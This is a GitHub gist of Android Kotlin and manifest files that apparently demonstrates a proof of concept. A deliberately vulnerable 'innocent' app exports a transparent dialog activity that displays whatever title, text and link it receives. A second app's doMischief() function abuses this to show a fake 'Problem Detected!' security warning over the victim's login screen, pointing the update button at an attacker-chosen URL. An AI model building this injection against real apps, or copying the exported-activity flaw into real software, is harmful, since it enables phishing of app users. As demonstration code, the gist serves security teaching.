Last active
June 18, 2019 21:44
-
-
Save ktchernov/3b8ae2b7978a0043b533fd209c727e9a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class MainActivity : AppCompatActivity() { | |
override fun onCreate(savedInstanceState: Bundle?) { | |
super.onCreate(savedInstanceState) | |
setContentView(R.layout.activity_main) | |
setSupportActionBar(toolbar) | |
val packages | |
= packageManager.getInstalledApplications(PackageManager.GET_META_DATA) | |
packages.forEach { | |
Log.d(TAG, "Package: ${it.packageName}, source: ${it.sourceDir}") | |
} | |
fab.setOnClickListener { | |
doMischief() | |
} | |
} | |
private fun doMischief() { | |
val mainIntent = Intent(Intent.ACTION_MAIN) | |
mainIntent.setClassName( | |
"io.github.ktchernov.myinnocentapp", | |
"io.github.ktchernov.myinnocentapp.ui.login.LoginActivity" | |
) | |
mainIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK.or(Intent.FLAG_ACTIVITY_CLEAR_TASK)) | |
applicationContext.startActivity(mainIntent) | |
Handler().postDelayed( { | |
val messageIntent = Intent() | |
messageIntent.setClassName("io.github.ktchernov.myinnocentapp", | |
"io.github.ktchernov.myinnocentapp.ui.login.UpgradeAppActivity") | |
messageIntent.putExtra("MESSAGE_TITLE", | |
"Problem Detected!") | |
messageIntent.putExtra("MESSAGE_TEXT", | |
"This text has been replaced by the malicious app! Please PRESS THE UPDATE BUTTON TO SECURE YOUR ACCOUNT!") | |
messageIntent.putExtra("STORE_URI", | |
Uri.parse("https://cdna.artstation.com/p/assets/images/images/003/934/042/large/sarfaraz-yeaseen-defaultdramatic-00000.jpg")) | |
messageIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) | |
applicationContext.startActivity(messageIntent) | |
}, 10000) | |
} | |
override fun onCreateOptionsMenu(menu: Menu): Boolean { | |
// Inflate the menu; this adds items to the action bar if it is present. | |
menuInflater.inflate(R.menu.menu_main, menu) | |
return true | |
} | |
override fun onOptionsItemSelected(item: MenuItem): Boolean { | |
// Handle action bar item clicks here. The action bar will | |
// automatically handle clicks on the Home/Up button, so long | |
// as you specify a parent activity in AndroidManifest.xml. | |
return when (item.itemId) { | |
R.id.action_settings -> true | |
else -> super.onOptionsItemSelected(item) | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="utf-8"?> | |
<manifest xmlns:android="http://schemas.android.com/apk/res/android" | |
package="io.github.ktchernov.myinnocentapp"> | |
<application | |
android:allowBackup="true" | |
android:icon="@mipmap/ic_launcher" | |
android:label="@string/app_name" | |
android:roundIcon="@mipmap/ic_launcher_round" | |
android:supportsRtl="true" | |
android:theme="@style/AppTheme"> | |
<activity | |
android:exported="true" | |
android:theme="@style/TransparentActivity" | |
android:name=".ui.login.UpgradeAppActivity"/> | |
<activity | |
android:name=".ui.login.LoginActivity" | |
android:label="@string/app_name"> | |
<intent-filter> | |
<action android:name="android.intent.action.MAIN"/> | |
<action android:name="android.intent.action.VIEW"/> | |
<category android:name="android.intent.category.LAUNCHER"/> | |
</intent-filter> | |
</activity> | |
</application> | |
</manifest> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package io.github.ktchernov.myinnocentapp.ui.login | |
import android.app.Activity | |
import android.content.Intent | |
import android.net.Uri | |
import androidx.lifecycle.Observer | |
import androidx.lifecycle.ViewModelProviders | |
import android.os.Bundle | |
import androidx.annotation.StringRes | |
import androidx.appcompat.app.AppCompatActivity | |
import android.text.Editable | |
import android.text.TextWatcher | |
import android.view.View | |
import android.view.inputmethod.EditorInfo | |
import android.widget.Button | |
import android.widget.EditText | |
import android.widget.ProgressBar | |
import android.widget.Toast | |
import io.github.ktchernov.myinnocentapp.R | |
class LoginActivity : AppCompatActivity() { | |
private lateinit var loginViewModel: LoginViewModel | |
override fun onCreate(savedInstanceState: Bundle?) { | |
super.onCreate(savedInstanceState) | |
setContentView(R.layout.activity_login) | |
val username = findViewById<EditText>(R.id.username) | |
val password = findViewById<EditText>(R.id.password) | |
val login = findViewById<Button>(R.id.login) | |
val loading = findViewById<ProgressBar>(R.id.loading) | |
val updateButton = findViewById<Button>(R.id.update_button) | |
loginViewModel = ViewModelProviders.of(this, LoginViewModelFactory()) | |
.get(LoginViewModel::class.java) | |
loginViewModel.loginFormState.observe(this@LoginActivity, Observer { | |
val loginState = it ?: return@Observer | |
// disable login button unless both username / password is valid | |
login.isEnabled = loginState.isDataValid | |
if (loginState.usernameError != null) { | |
username.error = getString(loginState.usernameError) | |
} | |
if (loginState.passwordError != null) { | |
password.error = getString(loginState.passwordError) | |
} | |
}) | |
loginViewModel.loginResult.observe(this@LoginActivity, Observer { | |
val loginResult = it ?: return@Observer | |
loading.visibility = View.GONE | |
if (loginResult.error != null) { | |
showLoginFailed(loginResult.error) | |
} | |
if (loginResult.success != null) { | |
updateUiWithUser(loginResult.success) | |
} | |
setResult(Activity.RESULT_OK) | |
//Complete and destroy login activity once successful | |
finish() | |
}) | |
username.afterTextChanged { | |
loginViewModel.loginDataChanged( | |
username.text.toString(), | |
password.text.toString() | |
) | |
} | |
password.apply { | |
afterTextChanged { | |
loginViewModel.loginDataChanged( | |
username.text.toString(), | |
password.text.toString() | |
) | |
} | |
setOnEditorActionListener { _, actionId, _ -> | |
when (actionId) { | |
EditorInfo.IME_ACTION_DONE -> | |
loginViewModel.login( | |
username.text.toString(), | |
password.text.toString() | |
) | |
} | |
false | |
} | |
login.setOnClickListener { | |
loading.visibility = View.VISIBLE | |
loginViewModel.login(username.text.toString(), password.text.toString()) | |
} | |
} | |
updateButton.setOnClickListener { | |
Intent(this, UpgradeAppActivity::class.java).apply { | |
putExtra("MESSAGE_TITLE", | |
"New App Version!") | |
putExtra("MESSAGE_TEXT", | |
"Please update your app to get the latest and greatest features!") | |
putExtra("STORE_URI", | |
Uri.parse("https://play.google.com/store/apps/details?id=com.microsoft.bing")) | |
startActivity(this) | |
} | |
} | |
} | |
private fun updateUiWithUser(model: LoggedInUserView) { | |
val welcome = getString(R.string.welcome) | |
val displayName = model.displayName | |
// TODO : initiate successful logged in experience | |
Toast.makeText( | |
applicationContext, | |
"$welcome $displayName", | |
Toast.LENGTH_LONG | |
).show() | |
} | |
private fun showLoginFailed(@StringRes errorString: Int) { | |
Toast.makeText(applicationContext, errorString, Toast.LENGTH_SHORT).show() | |
} | |
} | |
/** | |
* Extension function to simplify setting an afterTextChanged action to EditText components. | |
*/ | |
fun EditText.afterTextChanged(afterTextChanged: (String) -> Unit) { | |
this.addTextChangedListener(object : TextWatcher { | |
override fun afterTextChanged(editable: Editable?) { | |
afterTextChanged.invoke(editable.toString()) | |
} | |
override fun beforeTextChanged(s: CharSequence, start: Int, count: Int, after: Int) {} | |
override fun onTextChanged(s: CharSequence, start: Int, before: Int, count: Int) {} | |
}) | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<resources> | |
<!-- Base application theme. --> | |
<style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar"> | |
<!-- Customize your theme here. --> | |
<item name="colorPrimary">@color/colorPrimary</item> | |
<item name="colorPrimaryDark">@color/colorPrimaryDark</item> | |
<item name="colorAccent">@color/colorAccent</item> | |
</style> | |
<style name="TransparentActivity" parent="AppTheme"> | |
<item name="android:windowNoTitle">true</item> | |
<item name="android:windowBackground">@android:color/transparent</item> | |
<item name="android:colorBackgroundCacheHint">@null</item> | |
<item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item> | |
<item name="android:windowIsTranslucent">true</item> | |
<item name="android:windowTranslucentStatus">true</item> | |
<item name="android:statusBarColor">@android:color/transparent</item> | |
</style> | |
</resources> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package io.github.ktchernov.myinnocentapp.ui.login | |
import androidx.appcompat.app.AppCompatActivity | |
import android.os.Bundle | |
import androidx.appcompat.app.AlertDialog | |
import android.content.Intent | |
import android.net.Uri | |
class UpgradeAppActivity : AppCompatActivity() { | |
override fun onCreate(savedInstanceState: Bundle?) { | |
super.onCreate(savedInstanceState) | |
val updateTitle = intent?.extras?.getString("MESSAGE_TITLE") | |
val updateText = intent?.extras?.getString("MESSAGE_TEXT") | |
val appStoreUri = intent?.extras?.getParcelable<Uri>("STORE_URI") | |
AlertDialog.Builder(this) | |
.setTitle(updateTitle) | |
.setMessage(updateText) | |
.setPositiveButton("Update") { _, _ -> | |
val openLinkIntent = Intent(Intent.ACTION_VIEW, appStoreUri) | |
startActivity(openLinkIntent) | |
} | |
.show() | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment